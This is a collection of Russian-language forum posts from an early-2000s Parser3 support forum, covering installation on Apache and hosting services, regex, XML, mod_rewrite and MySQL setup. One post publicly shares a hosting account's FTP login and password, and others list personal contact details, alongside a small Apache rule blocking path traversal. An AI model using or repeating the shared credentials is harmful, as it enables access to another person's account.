Я нифига не понимаю в этом деле, но зачем мне .htaccess ?? если я всё в httpd.conf пишу ?\
И я ещё почитал мануаль, там написано, что можно Парсер и так запускать, указывая ХТМЛ как параметр запуска.. Так я запускаю, а он мне даёт  мессагу что у него нету \"libglib-1.3-11.dll\"\
"
"5190","Библиотеки поставил...матерится перестал, но всё равно ничего не работает... это наверное в файле ручки.sys у меня чего-то напутано :((("
"5191","Есть форма, она добавляет заметку(хидер, текст и image.name в Мусккуль), как нормально матчем отловить свой тэг для ввода в текст картинок?\
надо не просто добавлять в тело заметки, но и иметь по выправнивание, что хочет юзверь на ресепшине(left, right)."
"5193","Видел, просто у меня ресепшн тупой будет - охота написать внизу коммент: bla bla bla [img1]bla\
на выходе получать: bla bla bla <img src=img1.jpg align=blabla>\
вообщем я выравнивание сделал, размеры тоже, тем более пикчи зарание готовятся и размер известен, а вот упростить ввод пикч в массив текста - %("
"5194","жизнь вообще бы казалась полным раем :) просто передо мной сейчас стоит та же самая задача."
"5195","Хостинг меняется. Bye-bye РБК... Потому и сайты кое-где не открываются - dns'ные кеши должны обновиться..."
"5197","Извените за огромный тормоз, и огромное спасибо, все получилось!!!!!!!!!!!!!"
"5198","Есть ли в Парсере возможность работы с серверными переменными сессии?"
"5199","Можно конечно и так писать [img1;right;0;2]\
где подразумевать что первый параметр - имя файла, второй - выравнивание, третий - hspace, 4-й vspace (ты можешь быть уверен что они не потребуются тебе завтра?)\
\
Но. Во первых последовательность запомнить для тупых не чуть не проще, чем название атрибута.\
Во вторых - для тебя проще ввести [img;align=\"right\"...] - это читается и понимается.\
\
В третий - нормальная подсказка на страничке решит проблемы с тупостью. Опустил глаза, прочитал как надо - написал в текст и получил результат.\
\
В четвертых - ты уверен, что в тексте не попадется строка \"[mama]\", и что твой механизм не будет пытаться ее показать как какую-нить картинку??? \
\
В общем... Я пришел к выводу, что стОит по минимому изменять родной html (xml). И изменять только src (ну... плюс добавлять какие-нить default значения атрибутов, например border=\"0\", если не определено иначе...)\
"
"5200","Ты прав.\
Но vspace? как и hspace уже определены, так же как и бордер и размеры, выравнивание я через select выбираю и пишу в базу, поэтому в тексте прийдется вставлять только вызов тэга и его номер.\
вот что я хотел, у меня все равно идет преобразование кавычек, тире, знака \"номер\" и т.п.\
показалось, что еще одно преобразование не сильно убьет проц сервера"
"5201","Собственно вот это работает у меня в php:\
два пробела на пробел\
$data = ereg_replace(\"[[:space:]]+\", ' ', $data);\
\
через каждые n символов без пробела вставлять пробел, чтобы таблица не расползлась\
$data = preg_replace('/(\\S{1,70})/', '\\1 ', $data);\
\
сделал на парсере:\
@checkpost[in_string]\
$tmp[^in_string.match[^[^[:space:^]^]+][gi]{ }]\
$result[^tmp.match[/(\\S{1,70})/][gi]{$match.1 }]\
#end of of @checkpost[in_string]\
\
результат в парсере - нифига ))) не появляется пробел )))))))))\
где я накосячил?"
"5202","it est я знаю, что нужны спец-проги. А где их взять? Кто нибудь ссылку дайте!"
"5203","Попробовал поставить парсер на h1.ru - выдаёт ошибку 500 internal server error\
У кого-нить вообще работало там?"
"5204","1. что-то я не помню [:space:] как предопределенный класс символа в regexp это раз (может это расширение php?) и нефиг два пробела менять на один - это два, т.к. парсер сам тебе сделает оптимизацию кода и удалит левые whitespace (вот если тебе надо иное - тогда будешь делать телодвижения)\
\
2. /(\\S{1,70})/ - очень интересный шаблон... зачем тут начальный и конечный слеши? Выкинь. Зачем в опциях поиска 'i'? Где ты тут видешь чувствительный к регистру шаблон? Выкинь (оставь только 'g')\
\
Итог - выкидываешь первый матч, правишь второй и наслаждаешься :)"
"5206","спасибо сработало )))\
я еще помучаю, сайт ну очень большой )))) по кол-ву функций )\
когда ^строка.match[]создает таблицу попаданий:), то вот что написано:\
1, 2,…, n   столбцы с подстроками, соответствующими фрагментам шаблона, заключенным в круглые скобки, n - номер открывающей круглой скобки \
вроде ок, но если у меня фрагмент в скобках один, но мне нужны ВСЕ его совпадения. то как?\
пока придумал только через задний проход, но должно же быть элегантно? )\
допустим мне нужен match вот такой:\
^строка.match[src=\"([^^\"])+\"][g], т.е. он найдет с строке src=\"бла-блу-блы\" и в таблице в 1-м столбце даст мне бла-блу-блы\
но если там еще есть такие src=\"чих-пых-шмых\", он их уже не выдаёт. \
или я опять прогнал где?))))\
asp .net легче прошел в изучении/опробывании чем парсер ))))) но не хостят на ём у нас ) дорого )"
"5207","$src_tbl[^строка.match[src=\"([^^\"]+)\"][gi]]\
^src_tbl.menu{\
 а вот и мы: $src_tbl.1<br>\
}\
;-))))"
"5208","[code]\
^if($access==2 && $form:a eq change){\
	$id(^form:id.int(0))\
	$files[^newstext.match[src=\"${newspath}([^^\"]+)\"][gi]]\
	^connect[$connect_string]{$before[^table::sql{select name from pictures where section='news' and sect_id='$id'}]}\
	^before.menu{\
		^if(^files.locate[1;$before.name]){\
			картинка $before.name осталась<br>\
		}{\
			$before.name выбросили нафик<br>\
		}\
	}\
}\
[/code]\
абалдеть )))))))))) я не ожидал что так просто смогу это сделать )"
"5210","Добрый час уважаемые.\
Помогите, кто чем может. Пытаюсь настроить parser3 на хостинге hoha.ru так, как там написанно в хелпе, но мне все разно сервак выдает 500 ошибку.\
\
И еще в CuteFTP я не вижу некоторых файлов, которые закачал на сервео. Например такие как .htaccess, а на других хостингах вижу. В Чем тут дело?\
\
За ранее благодарен."
"5211","Сам сайт на P^2 или P^3, тут вопроса нет, вот\
движек для обработки самих платежей надо писать или есть софт какой-то?"
"5213","не знаю, что там у тебя конкретно не работат... вот ася - 82925125 стучи, думаю что смогу помочь. Или мылом... А потом напишем про решение, если получицца."
"5214","у меня например трёхдневные попытки заставить Парсер работать с Х1 привели прямо-таки к пугающим, мистическим результатам даже не буду объяснять каким, всё равно никто не поверит 8-Х Теперь,в глубине души,считаю, что Х1 стоит магией вуду и связывацца с им не хочу\
:))))"
"5216","Лукап в хеше работает быстрее, чем locate в таблице.\
И если в твоем случае все равно, т.к. записей немного, то в некоторых задачах оно дает существенный выигрыш.\
\
Тебе надо: \
Вариант 1:\
1. из $files сделать хеш (когда данные достаются из базы можно сразу доставать хеш, а не таблицу)\
2. ^if(^files.locate[1;$before.name]){} поменять на: ^if(^filesHash.[$before.name]){}\
\
Вариант 2:\
1. из $files сделать хеш\
2. в $before доставать сразу хеш\
3. посмотреть на операторы ^hashA.union[hashB] \
4. вывести результат с помощью ^foreach[]{}...\
\
:)\
Еще раз повторюсь: для этой задачи в принципе ничего большего и не надо, но... в будущем может пригодиться."
"5217","это будет..."
"5218","всё-таки с куками не очень удобно работать как с переменными контекста сессии."
"5220","Select может работать со строковыми полями, или же только с чисовыми?"
"5221","Но если есть, почитайте http://httpd.apache.org/info/security_bulletin_20020809a.txt \
\
А по прочтении добавьте в httpd.conf строку\
\
RedirectMatch 400 \"\\\\\\.\\.\" \
\
и рестартаните сервер...\
"
"5223","Документ:\
[code]\
<price>\
    <item price=\"123\">\
        <id>ZXC234V-123</id>\
        <section>Ку.</section>\
        <title>Ку, ку, ку.</title>\
    </item>\
    ...\
    ...\
</price>\
[/code]\
Он лежит на сервере. Мы его читаем и пытаемся получить значения элементов и аттрибутов:\
[code]\
$sourceDoc[^xdoc::load[/xml/price.xml]]\
$list[^sourceDoc.select[price/item]]\
^for[j](0;$list-1){\
    $node[$list.$j]\
    <p>price ^node.selectNumber[item/@price],\
    id ^node.selectString[item/id]</p>\
}\
[/code]\
А получаем пустые тэги <p></p> по количеству элементов item. В чём по-вашему подстава?\
\
Кстати, пробовал писать точно также как в доке, тоеzzь - .selectNumber[number(item/@price)] и соответственно .selectString[string(item/id)]. В случае с selectNumber выдаёт [i]1.#QNAN[/i], а в случае с .selectString тоже самое, что и в самом начале... \
"
"5224","...ибо никто не запрещает использовать match в условии... Хе-хе, тока я сам не пробовал :)))"
"5225","Я наверное неправильно поставил задачу.\
В том то и дело что в моем конкретном случае такой способ не подходит.\
Мне надо чтобы человек заливал на сайт прайс лист, оплачивал время его пребывания в прямом эфире и как только его счет обнулился его прайс лист из эфира убирался."
"5226","$t[^my_table.select($mytable.status ne \"deleted\")]"
"5227","[code]\
$sourceDoc[^xdoc::load[test.xml]]\
$list[^sourceDoc.select[/price/item]]\
^for[j](0;$list-1){\
    $node[$list.$j]\
    <p>price ^node.selectString[string(@price)],\
    id ^node.selectString[string(id)]</p>\
}\
[/code]\
\
у тебя возвращались пустые строки т.к. ты уже находился в item и искал item/id - такого не было.\
\
Если поменять item/id на id по точему-то возвращается не строка а xnode.\
\
Я вообще к атрибутам всегда стучусь как ^node.getAttribute[]..."
"5228","Появилось свободное время! Взял отпуск на месяц! Задался целью хоть немного себя просветить в создании собственного сайта (как пример). В данный момент хочу воспользоваться данным инструментом Parser 3.0. Ребята в кратце скажите какая операционная система нужна что бы это работало (я так понял что не просто Windows XP, скорее всего Windows 2000 или NT). Какое дополнительно ПО нужно установить? И подскажите с чего лучше всего начать разбираться что бы систематизировать свои знания хоть немного?\
Понимаю что вопросы Вам как проффесионалам покажуться глупыми но дело в том что я вообще пока в этом ничего не понимаю!\
\
Заранее благодарен Вам за ответы!\
С уважением Алекс!"
"5229","<quote>\
$NodeList[^узел.select[XPath-запрос]] \
\
Выдает список листов, найденных в контексте узла по заданному XPath-запросу. Если запрос не нашел подходящих узлов, выдается пустой список.\
</quote>\
$list в твоём случае это хэш где ключами являются цифры от 0 и до n-1 где n количество найденных атрибутов, а значениями имена этих атрибутов. Мне так Лужниковский объяснил."
"5230","$list в твоём случае это хэш где ключами являются цифры от 0 и до n-1 где n количество найденных элементов, а значениями имена этих элементов."
"5233","У меня XP. Все довольно легко настроил, работает рулезно!\
\
А вообще - лучше всего распечатать и читать доки. Там ответы почти на все вопросы. Не находишь ответа - лезь в форум. Здесь уже тоже все это много-много раз перетерто. И только если и здесь не находишь - смело спрашивай."
"5240","Мы наконец-то сделали модуль с новым Парсером. Теперь скачав 2 файла(базовый модуль и модуль с Парсером), и поочерёдно проинсталиировав их, получаешь Апач, MySQL, Parser, PHP, Perl в одном флаконе, установленные и настроенные - готовые к употреблению\
\
http://dklab.ru/chicken/web/base.html\
http://dklab.ru/chicken/web/parser.html\
"
"5241","записал на заметку.\
пока не надо, и так работы ))) шибко много )))\
но учту, хотя может и сегодня посмотрю.\
только я их не вывожу )\
я их стираю если надо ) в базе и на диске )\
но смысл тот же - найти удаленные относительно оригинала."
"5242","Если я могу последовательно зайти на\
\
http://www.apache.org/dist/httpd/binaries/win32/\
http://www.activestate.com/Products/Download/Download.plex?id=ActivePerl\
http://aspn.activestate.com/ASPN/Downloads/ActivePerl/PPM/Zips\
http://www.mysql.com/downloads/index.html\
http://www.parser.ru/download/\
\
и взять всё без посредников?"
"5243","еще одно условие и версии 2.0 и выше\
"
"5244","У самого - 1.3.26, причём только для localhost, плюс файрволл входящие извне на 80 порт рубит, но подумал, что вдруг у кого..."
"5245","среднему человеку надо все в одном флаконе, люди не любят лишних проблем."
"5246","Кстати, была у меня одно время статья, про то, как этот звенинец водрузить на Win32... Надо бы обновить и прислать Misha - может, выложит.\
\
Да, забыл в списке упомянуть про http://www.mysqlfront.de/ PhpMyAdmin нервно курит за углом..."
"5247","да это я так, докопался.... настроение понимаешь...\
интересно, есть тут еще идиоты вроде меня, которые в одиночку программируют сайты аля mc.ru?...\
быть может во всех конторах по сайто-строительству над проектом работает один программист и один дизайнер, ну плюс менеджер? может я зря думаю что бывает иначе? "
"5248","mcc.ru конечно )) а mc.ru оказывается тоже есть )))"
"5249","Итого получишь примерно:\
Apache: 4 MB; \
PHP4: 5 MB; \
ActivePerl: 8,3 MB; \
MySQL: 12,5 MB. \
Parser/XML: 2 MB\
Итого: 31,8 MB\
\
Не каждый сможет осилить 30Mb на домашнем дайл-апе, например."
"5250","The following error was encountered: \
\
Unable to determine IP address from host name for mcc.ru \
The dnsserver returned: \
\
No DNS records \
\
[i]:-([/i]"
"5251","))) халявщики )))\
www.mcc.ru, московская сотовая ) \
аля они ))) т.е. тоже оператор сотовой с всеми причиндалами положенными сайту: каталогами телефонов, форумами, вопросами/ответами, кучей инфы и т.д.\
и чтоб все администрировалось, добавлялось, удалялось, изменялось самими заказчиками.\
головняки......"
"5252","У меня оптоволокно от макомнета... :-) Посему, если имею возможность пить не безалкогольное пиво, а настоящее, понятно, что я выбираю... 30Mb скачиваются менее десяти минут, при том, что я не один в офисе :-)\
\
А что в \"джентльменском наборе\" покоцано из Перла? Я кучу времени при переинсталляции перла наоборот гроблю на пачку install'ов в ppm... Какие там ещё сюрпризы?"
"5254","если есть возможность поставить оригинальный продукт, а не суррогат, именно этот вариант и следует выбрать. Так, по крайней мере, я буду ждать от софта адекватного поведения и искать, при случае, ошибку у себя, а не \"в компиляторе\"..."
"5255","Более менее теперь стало понятно! Освоился немного с форумом! Вот скачал проект Денвер обещают все в одном и тем более  + ко всему Parser 3.0 думаю что все должно проинсталится! Завтра сообщу о результатах!\
\
Еще раз спасибо за помощь!\
С Уважением Алекс!"
"5259","А тебе не кажется, что хэш должен быть сделан так, чтобы обеспечивался максимально быстрый поиск по ключам. Например, лексикографически отсортирован по ключам."
"5260","Такая пробла: пытаюсь запустить парсер на хосте, где стоит FreeBSD и Apache 1.3. Скачал соответствующие дистры, засунул, .htaccess прописал - вроде все ОК, но ругается:\
\
user-request(1): '/index.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], type: parser.runtime\
\
Че за фигня? Может, он на какой другой баг так реагирует?\
\
Заранее сенкс за хелпы."
"5262","Вот пара хороших сообщений с http://parser2.parser.ru/forum/search.html?doSearch=do&terms=group+by&searchInMessage=1&author= для понимания \"group by\":\
http://parser2.parser.ru/forum/message_7265.html\
http://parser2.parser.ru/forum/message_6584.html"
"5263","Решение совсем не является идеальным. По сути в поиске можно использовать только точную фразу. (Пример -- \"GROUP BY\" и \"BY GROUP\" вернут совсем разные результаты. )"
"5264","По ходу работы нужно стало настроить на моем домашнем сервере\
Apache/1.3.12(Win32) SSI, добавил строки: \
   AddType text/html .shtml .shtm\
   AddHandler server-parsed .shtml .shtm .html\
в индексы добавлять не стал - не надо.\
 Но почему-то не обрабатываются они, это кусок не выводится, а когда делаешь просмотр в виде html выводится как ремарка\
 Помогите разобраться пожалуйста.\
 "
"5265","мыло: gotonow@freemail.ru\
ICQ: 166707418\
HOME: skidanov.fatal.ru\
зеркало: demon.hoha.ru\
\
Очень важно.\
С Уважением Дмитрий"
"5266","И также предпочитаю не образаную версию, чтобы потом ругать только свою лень прочеть доки или brain.dll $)"
"5270","а где \
[code]\
Action server-parsed /cgi-bin/parser3.exe\
[/code]\
?? Прочитай мануал Apache"
"5271","Подскажите, как создать(и в чем) файл шрифтов?\
Спасибо!"
"5272","Я уже убрал .html из обработки SSI (а то и вправду парсер перестал работать) но при как они связаны\
Парсеру я назначаю обрабатывать .html\
а SSI .shtml\
\
как я понимаю они не должны пересекаться"
"5274","Corel, PhotoShop и т.д."
"5278","в файле 20020809parser3.chm на странице /methodcreate.htm есть ссылка \"подключаются\" на файл /opconnect.htm, по моему она должна ссылаться на /opuse.htm."
"5279","как сделать метод переменной: т.е. есть\
$var[my_method]\
и надо теперь вызвать метод с именем равным значению переменной $var\
что-то типа ^$var[]"
"5283","тут у нас админ сидит - PHPшник, посмеялся, а заодно напомнил - нарушение лицензии PHP"
"5284","Едва сдержался, чтобы не поиздеваться в news:fido7.ru.web.construction ;-) Или всё-таки поиздеваться?\
\
Смутила только дата:\
\
[code]domain:  PHP.RU\
created: 1999.11.29\
changed: 2001.11.29[/code]Получается, Юрий пошутил полгода назад, а некто не заметил...\
\
В любом случае виртуально горячо пожимаю Юрию руку за чувство юмора и желаю не забыть продлить регистрацию домена... Или давайте скинемся, чтобы делегировать этот самый домен лет на 10 вперёд, чтобы уж наверняка :-)\
\
ЗЫ: Редиректа на www.parser.ru там не хватает с пятисекундным таймаутом... И вообще, честно говоря, я бы прицепил туда один только гифчик 88х31 http://www.parser.ru/f/1/powered_by_parser/88x31stat1.gif по центру и лаконичное \"Powered by Parser\" со ссылкой чуть пониже :-) \
\
Краткость, как известно, - сестра таланта, а лаконичность - совершенно убийственная вещь :-)"
"5285","а он говорит:\
\
[b]Fatal error: Failed opening required 'mirrors.inc' (include_path='.:/usr/mirror/php/include') in /usr/mirror/php/include/site.inc on line 12[/b]\
\
Ладно, ухмыльнулся и пошёл на http://www.php.net/license/3_0.txt ... Читаю:\
\
[quote]The name \"PHP\" must not be used to endorse or promote products derived from this software without prior written permission.[/quote]PAF обидится, если кто скажет, что Parser - \"derived from PHP\" :)\
\
И вообще, если я не пользуюсь PHP, то отчего я должен соглашаться с его лицензией? Я соглашаюсь с Конституцией РФ, в которой живу, с Гражданским Кодексом и ещё кучей бумаг, в число коих, слава богу, PHP License не входит. Так что отмыль этот пост своему админу, пусть утихнет...\
"
"5286","Из официальных источников стало известно, что [url=\"http://media.aoltimewarner.com/media/cb_press_view.cfm?release_num=55252689\"]America Online[/url] выпустила новую версию [url=\"http://www.apple.com/macosx/applications/aol/\"]AOL для Mac OS X[/url], основанную на OpenSource технологии [url=\"http://www.mozilla.org/\"]Mozilla Gecko[/url]. Так же готовятся версии для ПК. \
\
Удачи!\
\
http://devedge.netscape.com/community/news/5.txt"
"5288","Люди. Я уже 3 для пытаюсь настроить Parser на этом хостинге. Если кто знат как пожалуйста, если вам не трудно настройти его здесь:\
\
ftp: hoha.ru\
login: parsersetup\
password: abracodabra\
\
а я потом посмотрю. Пожалуйста, а то я уже замучался у меня маздай и apache а там freebsd и не знаю какой сервер, там не написано.\
Я уже измучался весь, но эта сволочь не хочет работать.\
Я даже log файлы не могу посмотреть, их просто через ftp не видно и я уже не знаю что делать. Я уже намерное не одну сотню раз там увидел сообщение о 500 ошибке.\
Помогите. !!!"
"5289","Всё сделал! ;-) За 10 минут, включая закачку файлов через dial-up. ;-) "
"5290","Спасибо вам большое, но\
там на хостинге не видно .htaccess файлов, если вам не трудно напишите мне их содержимое для директорий cgi-bin и html, а остальное я посмотрел.\
\
Значит права надо ставить 754, а я ставил 700 или 755 и даже 777.\
И auto.p скачал.\
\
За ранее спасибо.\
С Уважением Дмитрий."
"5292","Кстати, имено так я и узнал о парсере изначально.\
Захотелось вдруг php изучить, первая мысль которая пришла - сходить на php.ru, наверняка, думаю, крупный сайт с кучей доков. Захожу, вижу вот эту самую надпись... Сначала я почему-то подумал, что parser - это чей-то ник :)), ну думаю, схожу на сайт этого чела, посмотрю чем он занимается. Ну а когда зашёл, увидел этот вот сайт, и всё, через полчаса я уже забыл о php и стал изучать доки парсера и ничуть не жалею о содеянном :)"
"5293","1. Права надо ставить 700. Можно и другие, но 700 как минимум хватает.\
2. Рекомендации по содержимому .htaccess есть тут: http://hoha.ru/help/parser.html"
"5296","если очень нужно, то можно:\
\
[code]\
@main[]\
$name[my_method]\
$method[$$name]\
^method[so-so]\
@my_method[param]\
$param\
[/code]\
\
но на самом деле, надо для себя решить, почему бы не передавать не имя метода, а его самого?\
\
[code]\
@main[]\
$method[$my_method]\
^method[much better]\
@my_method[param]\
$param\
[/code]\
"
"5298","редко бывает, что ftp сервер не показывает \".файлов\"\
\
чаще бывает, что ftp сервер не показывает их по команде list.\
\
если у вашего ftp клиента есть возможность настроить команду запроса содержимого каталога, сделайте это, поставьте там \"list -la\". если так не получится, попробуйте \"ls -la\". ещё кому-то помогает \"dir\".\
\
умеет, например, FAR + FarNavigator[http://proxykit.newmail.ru]"
"5299","Когда вы, собственно, пошутили-то? Это было много раньше этого момента, или совсем недавно только?\
\
Да, и, конечно, ещё раз пожимаю руку за чувство юмора :)"
"5301","Напрягают делать \"продвинутый\" поисковик. Вот одна из идей простого улучшения обычной выборки из SQL:\
\
запрос: \"[b]телефоны мобильные[/b]\"\
\
если что-нибудь находим, то выводим список того, что нашли, а если получаем пустую таблицу, то пробуем переадресовать этот запрос на страницу с поиском вот так вот:\
\
запрос: \"[b]мобильные телефоны[/b]&time=1\"\
\
где указываем в [b]$time[/b] - который раз мы делаем пробу что-нибудь найти.\
\
Если опять таблица пуста, то пробуем делать поиск по каждому слову отдельно. Указывая в [b]$time[/b] id вызова для того, чтобы потом его через ^ifчик ловить.\
\
Разумеется все это проходит только в том случае, если в предыдущем запросе ничего не находим, если получаем хотябы одну запись с первого запроса, то создаем дополнительные таблички и делаем их ^join[]\
\
Были ли у кого-нибудь подобные заморочки и хотелось бы послушать умные размышления на эту тему от \"продвинутых\" парсеристов. Всем привет!"
"5302","задача:\
преобразовывать ури вида /aaa/bbb/ccc/\
к parse_uri.html?uri=\"/aaa/bbb/ccc/\"\
\
ну не спец я в мод_реврайтах..."
"5303","А зачем так усложнять?\
Почему не поставить яндексовские штучки или многоСёрш напрмер.\
\
Там умные люди потрудились уже на славу. Оно надо - велосипеды изобретать?"
"5304","RewriteRule (.*)  /parse_uri.html?uri=$1 [L,QSA]"
"5305","Только чтобы не зациклилось надо добавить перед ним например: \
RewriteCond %{REQUEST_URI} !/_\
RewriteRule (.*) /parse_uri.html?uri=$1 [L,QSA]\
\
(или что-нить более жесткое)\
\
Мне нравится именно такой вариант, т.к. если ты захочешь создать файлик, который не рерайтится - просто называй его с подчеркивания :)\
\
http://parser.ru/_t.html\
\
:)"
"5306","\"to egr :))\" - многие \"парсеисты\" уже активно осваивают мод_реврайт и xml. многие из многих уже активно переиначивают адреса запросов.\
Причина прозаична - многие из многих пишут свои Imprimatur'ы.\
Даже появилась новая идеология \"Идеология построения сайта [http://www.egoroff.spb.ru/opinions/note_10.html]\"...\
\
Спасибо за ответ :)\
\
"
"5307","Для работы парсера достаточно одного файла [i].htaccess[/i] в директории html. Его содержимое [url=\"/docs/lang/install4apachecgi.htm\"]описано в документации[/url]. Вот код, который, как я помню, я записал на ваш сервер:\
[code]\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]"
"5308","рекомендации по вышеуказанному адресу (на hoha.ru) относятся к устаревшей версии парсера3. ;-)"
"5309","Впрочем, для тех кто делал иначе разработчики сочинили подлинный шедевр:\
http://bugzilla.mozilla.org/attachment.cgi?id=46668&action=view"
"5310","я не вижу смысла переадресации, вполне можно обойтись и без неё. \
\
А вообще, можно, например, использовать fulltext search в mysql. Вот я вчера попробовал, впечатления остались не лучшие. ;-) Спецсимволы -, + ничего не делают (в MySQL 3.23.51), позже заметил, что в [url=\"http://www.mysql.com/doc/en/Fulltext_Search.html\"]документации написано[/url], что они будут работать только после версии 4.0.1. Я чувствую, придётся делать свой парсер запросов и использовать like и not like, чем я сегодня и собираюсь заниматься. ;-) (Поиск необходимо сделать по довольно маленькой таблице. ) Хотя, если не нужен \"продвинутый\" поисковик со спецсимволами +, -, то тебе должно хватить. ;-)"
"5313","Можно использовать [url=\"http://www.imagemagick.org/\"]ImageMagick[/url]. Параметр [url=\"http://www.imagemagick.org/www/ImageMagick.html#-draw\"]-draw[/url], [url=\"http://www.imagemagick.org/www/ImageMagick.html#-font\"]-font[/url]. "
"5315","Я выписал пример из хелпа по Parser3, об обработки XML+XSL в HTML\
но так вот: xml в кодировки windows-1251, а я в HTML выводе получаю Unicode, в чем тут дело. Я даже все пути к файлу с кодировкой windows-1251 проверил, а он все равно мне выдает етот UTF-8! как сделать, что-бы он все выводил в той кодировки, в которой я захочу?"
"5316","У нас даже админ, упертый PHPшник смеялся"
"5317","[code]\
RewriteEngine on\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	/index.html?uri=/$1\
[/code]"
"5319","Прочел на httpd.apache.org man URL Rewrite и все равно не въехал(может не внимательно читал?): есть один документ в руте, все остальное раскидано по 3-м уровням сайта\
а охота сделать 3 файла: фронт, основной шаблон и шаблон для заметок и выдавать ему пути: www.my_domain.ru/razdel/podrazdel/article.html(в случае когда нужна статья) или www.my_domain.ru/razdel/podrazdel/ если просто нужна основная страница подраздела, ну тоже с индексами разделов.\
Ну не занимался я этим еще. :("
"5321","[code]\
RewriteEngine on\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	/index.html?uri=/$1\
[/code]\
и в нём анализировать полученное значение $form:uri match'ем и выдавать соответствующий документ."
"5322","если удобство то перед выдачей клиенту, если нагрузка на сервер, то перед тем как в базу засунуть. Я выбрал первый вариант."
"5323","1.\
может его группа не совпадает с группой процесса, он не считан, кодировки не подключены?\
\
попробуйте допустить в нём любую ошибку.\
\
2.\
задан ли $response:charset? если не задан, по умолчанию будет UTF-8"
"5324","если обработка сложная, то лучше сделать её до.\
\
если простая — можно после, сохранив то преимущество, что можно менять логику обработки, при этом [b]уже имеющаяся информация[/b] будет обрабатываться по новым правилам сразу.\
\
\
мне представляется идеальным вариант, когда пользователь при редактировании видит то, что набирал, буква в букву.\
\
есть способ обеспечить и быстрый вывод и возможность изменения правил "
"5325","Пока же я немного поправил auto.p на этом parsertest, теперь корректно работают sendmail и mysql, а также не нужно казачать lib и charsets."
"5326","в базе завести две колонки:\
[code]\
raw_text  processed_text\
[/code]\
\
в raw класть то, что ввёл пользователь, в processed — результат преобразования, которое делать при первом выводе.\
\
а при изменении правил преобразования, делать\
[code]\
update {table} set processed_text=null\
[/code]"
"5327","но с точки зрения удобства и производительности сервера, возможно это компромисный вариант."
"5328","Конфиг у меня валяется в маздае и начинается он так:\
\
@auto[]\
$charsetsdir[d:\\windows\\parser3\\etc\\parser3.charsets]\
$sqldriversdir[d:\\windows\\parser3\\lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
\
Пути к файлам кодировок я проверил раз 10, но если я добавляю в конфиг текст:\
\
$request:charset[windows-1251] \
$response:charset[windows-1251] \
$response:content-type[ \
   $.value[text/html] \
   $.charset[$response:charset] \
]\
\
он сразу наченает орать:\
\
D:\\WINDOWS/parser3.conf(12): 'windows-1251' unknown charset  type: parser.runtime\
\
Что тут поделать?"
"5329","неправильно настроены чарсеты. То что ты привел работает для версии 0001 а у тебя вероятно 0005 а в нем конфигурация делается через auto.p. Да и пути к чарсетам там немного поменялись, хотя это не суть можно и старые сделать если понимать как это делается.\
\
Короче скажи какая у тебя версия парсера?"
"5330","Как узнать количество столбцов после загрузки таблицы с опцией nameless?\
Метод ^table.columns[] не работает."
"5331","вероятнее всего не понимаю :("
"5332","http://www.dklab.ru/chicken/web/ это тебе поможет."
"5333","затраты не должны выходить за рамки имеющихся рессурсов, а не мы должны под БД подбирать задачи...\
\
Теория - это хорошо, но всегда ей бездумно следовать не есть хорошо.\
\
Хотя кто знает... :)"
"5334","я хотел сказать(таким вот изощрённым способом :)) что надо 10 раз подумать прежде чем нарушать требование 2NF, а именно - [i]зависимости только от первичного ключа[/i]."
"5335","Хе, там столько доков по Яндекссерчу, что для того, чтобы его поставить ... %) Вообщем, у меня терпенья не хватает %)"
"5336","Мне надо просто проматчить на типографику, причем в облегченном виде: тире+кавычки.\
Но при этом вывести картинки, которые вставлять в текст будут через пользовательские тэги девушки на ресепшине."
"5338","_img1_ меняю на <img src=/img/4text/const/^item[img1]> - invalid item name\
уровень обработки: none"
"5340","Разбираюсь с Парсером, делаю все точно по инструкции, слово в слово, пока всё работало отлично.\
Дошёл до занятия с MySQL (страница 25-27 в .pdf мануале),\
скачал SQL драйвер, положил в /usr/local/parser/lib/\
Прописал в корневом auto.p как было сказано (перед main):\
\
@auto[]\
$connect_string[mysql://root:********@localhost/test]\
\
В результате имею ошибку:\
/home/httpd/www/vniiftri.ru/admin/index.htmlp(26): 'mysql://root@localhost/test' $SQL:drivers table must be defined  type: parser.runtime\
\
Помогите пожалуйста, где зарыт серверный олень?\
На всякий случай уточню:\
-mysql работает;\
-база test существует;\
-таблица news тоже существует;\
-права у root достаточные для чтения/записи."
"5341","Вроде все скачал, установил.\
Но не пойму где там и что прописать надо!\
\
Хостинг на МТУ"
"5344","/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table\
[Fri Aug 16 16:36:31 2002] [error] [client 194.67.161.34] Premature end of script headers: /www/docs/wwwoptours/cgi-bin/parser3.cgi\
"
"5346","Есть класс. У него метод возвращает hash. Например:\
@get_item[i]\
$result[$self.hashdata.[$i]]\
\
Если обратиться к экземпряру класса $c вот так\
^c.get_item[1].name\
то возникает ошибка:\
\"contains illegal assignment attempt of hash to MAIN class, use constructor\"\
\
А если так\
$h[^c.get_item[1]]\
$h.name\
то все работает\
\
Как правильно обратиться без промежуточной переменной?\
"
"5347","Нет не пойдет.\
У меня мегабайтная таблица.\
Я думаю серверу не очень понравиться транспонировать такую матрицу, а если еще одновременно несколько пользователей будут этим заниматься... "
"5350","На сайте есть папки, которые совпадают с главными разделами. В каждом разделе хранятся различные файлы, которым сопоставляются пункты из левого меню. Так вот у меня получается, что request:uri выдает всегда / хотя текущий файл совершенно другой. "
"5352","тогда так:\
\
[code]\
^data{^table::load[nameless;test.cfg]}\
^d_count(0)\
^while(def $data.{$d_count}){\
  ^d_count.inc(1)\
}\
[/code]"
"5355","Не выполняется секция $SQL. Возможно в auto.p (ранее parser3.conf) строка с mysql закомментарена.\
"
"5359","Потому что в таблице первый столбец может быть польностью пустым.\
Или даже не первый, а пятый, а в таблице их семь.\
То результат получится что у меня пять столбцов, когда их семь.\
:-(\
Придется что-то другое придумывать.\
"
"5361","Или где и что необходимо прописать???\
\
